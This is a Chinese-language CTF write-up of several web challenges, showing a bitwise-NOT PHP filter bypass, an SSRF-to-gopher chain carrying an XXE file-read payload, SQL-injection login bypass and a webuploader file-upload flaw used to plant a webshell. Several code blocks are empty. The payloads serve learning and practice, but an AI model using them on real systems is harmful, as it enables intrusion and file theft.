hate-php
1 |
|
过滤了内置函数,过滤了绝大多数符号和flag,php。一开始想的是既然把内置函数都存进blacklist
变量中,想用调用数组元素的方式使用内置函数,然后发现l
和a
和[]
,这方法不太行。然后又想到用提交数组的方式绕过preg_match
,但是经过测试,assert
无法执行数组。后来注意到了没有过滤取反符号~
,也没想到什么利用方法。
刘大叔给了一篇文章,里面提到了如果直接以$xxx();来调用,PHP5和PHP7并无不同,如果以($xxx)();的格式,在php7中,不允许通过(‘phpinfo’)();来执行动态函数,但是在PHP7以后可以通过(‘phpinfo’)();的方式来执行函数
。
写个脚本
1 |
|
最终payload
1 | (~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%D0%99%93%9E%98) |
Do you know
1 | <?php |
代码下面的curl没有任何过滤,存在ssrf。访问xxe.php
1 |
|
根据代码可知,xxe.php只能通过本地访问。结合上面的index.php,提交两个参数名不同但是参数值相同的键值对,最后一个参数的值会被当作url进行访问。直接构造paylaod访问xxe.php
1 | ur=127.0.0.1/xxe.php&url=127.0.0.1/xxe.php |
细心的朋友可以注意到index.php中还有一些类似于type
的参数,看起来通过这些可以控制header中的参数类型。因为文件名叫xxe嘛,比赛的时候一直在想怎么给type
传参,在哪里纠结了好久。
然后就没有然后了,果然是gopher协议直接打。
首先构造xxe内容,过滤可以通过复写绕过,例如flflagag
1 | <?xml version = "1.0"?> |
构造gopher协议,gopher协议的格式为URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
。
gopher协议没有默认端口,所以需要指定web端口
回车换行使用%0d%0a
如果多个参数,参数之间的&也需要进行URL编码
结尾也得使用%0d%0a作为数据包截止的标志
构造gopher协议读取main.php和hints.php。抓包发现向xxe.php使用POST方式发送数据的时候,data参数会自动urlencode一次。使用url的方式提交数据,浏览器会解码一次,因为利用的是ssrf,curl语句会解码一次。总体算下来data数据要编码三次,POST数据包要编码两次,gopher协议要编码一次。
原始应该发送的POST数据包如下,data编码一次,符合提交规则。
1 | POST /xxe.php HTTP/1.1 |
使用urlencode将POST数据包urlencode一次,以应对浏览器解码和curl解码。
1 | POST%20%2Fxxe.php%20HTTP%2F1.1%0AHost%3A%20121.36.64.91%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%20225%0AUpgrade-Insecure-Requests%3A%201%0A%0Adata%3D%253C%253Fxml%2520version%2520%253D%2520%25221.0%2522%253F%253E%250A%253C%21DOCTYPE%2520ANY%2520%255B%250A%2520%2520%2520%2520%253C%21ENTITY%2520f%2520SYSTEM%2520%2522php%253A%252F%252Ffilter%252Fconvert.base64-encode%252Fresource%253Dhints.php%2522%253E%250A%255D%253E%250A%253Cx%253E%2526f%253B%253C%252Fx%253E |
最终payload使用urlencode一次,应对浏览器解码。
1 | http://121.36.64.91/?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520%252Fxxe.php%2520HTTP%252F1.1%250AHost%253A%2520121.36.64.91%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%2520225%250AUpgrade-Insecure-Requests%253A%25201%250A%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E |
美团外卖
当时没有做出来,跟大佬wp走一波~
扫描敏感文件发现www.zip
文件泄露,看来像是个代码审计的题目。
1 | function Login(){ |
看起来GetValue
函数像是提取对应username的mad(password),可以使用union select
语句绕过
1 | username=' union select 'bf342c1ad02ad2e2193105bffe1ed183'# |
在daochu.php
中发现了无过滤SQL注入

1 | $ime1=$_GET['ime1']; |
而且有回显,直接注入,找到hint表,查到提示see_the_dir_956c110ef9decdd920249f5fed9e4427
。
进入目录后,和根目录结构完全一样,只不过没有了www.zip
。源代码中的lib
目录无法访问,在hint给的这个目录下可以访问。其中有很多js文件,和一些php文件。大佬用Mac的Finder找到最近修改的文件(太骚了这个姿势)
然后审计代码
1 |
|
代码中有个file_get_contents
函数,php://input
用来访问HTTP原始数据流。根据后续代码要求,file_put_contents($filePath, $data);
,构造一个wenshell,其实这是一个webuploader-v-0.1.15 组件存在文件上传漏洞,Poc在这里,传一个webshell就可以。
laravel
当时扫了半天目录什么也没找到,看了wp之后原来是题目直接吧源代码给了。没拿到源代码,wp看着有点乱就不在这里记录了。